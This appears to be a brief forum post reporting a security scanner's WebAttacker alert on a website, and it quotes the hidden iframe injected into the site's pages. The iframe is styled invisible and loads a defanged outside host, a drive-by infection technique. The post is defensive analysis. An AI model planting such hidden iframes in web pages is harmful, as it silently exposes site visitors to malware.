I've got a iframe placed on a site that LinkScanner gives a WebAttacker Alert. Owner seems to have already removed the insert iframe.
Heres's the iframe that was insert:
<iframe style="display: none; width: 300px; height: 300px; outline-color: invert; outline-style: none; outline-width: medium;" src="hxxp://tulipes.ru/images/" frameborder="0" height="0" scrolling="no" width="0"></iframe>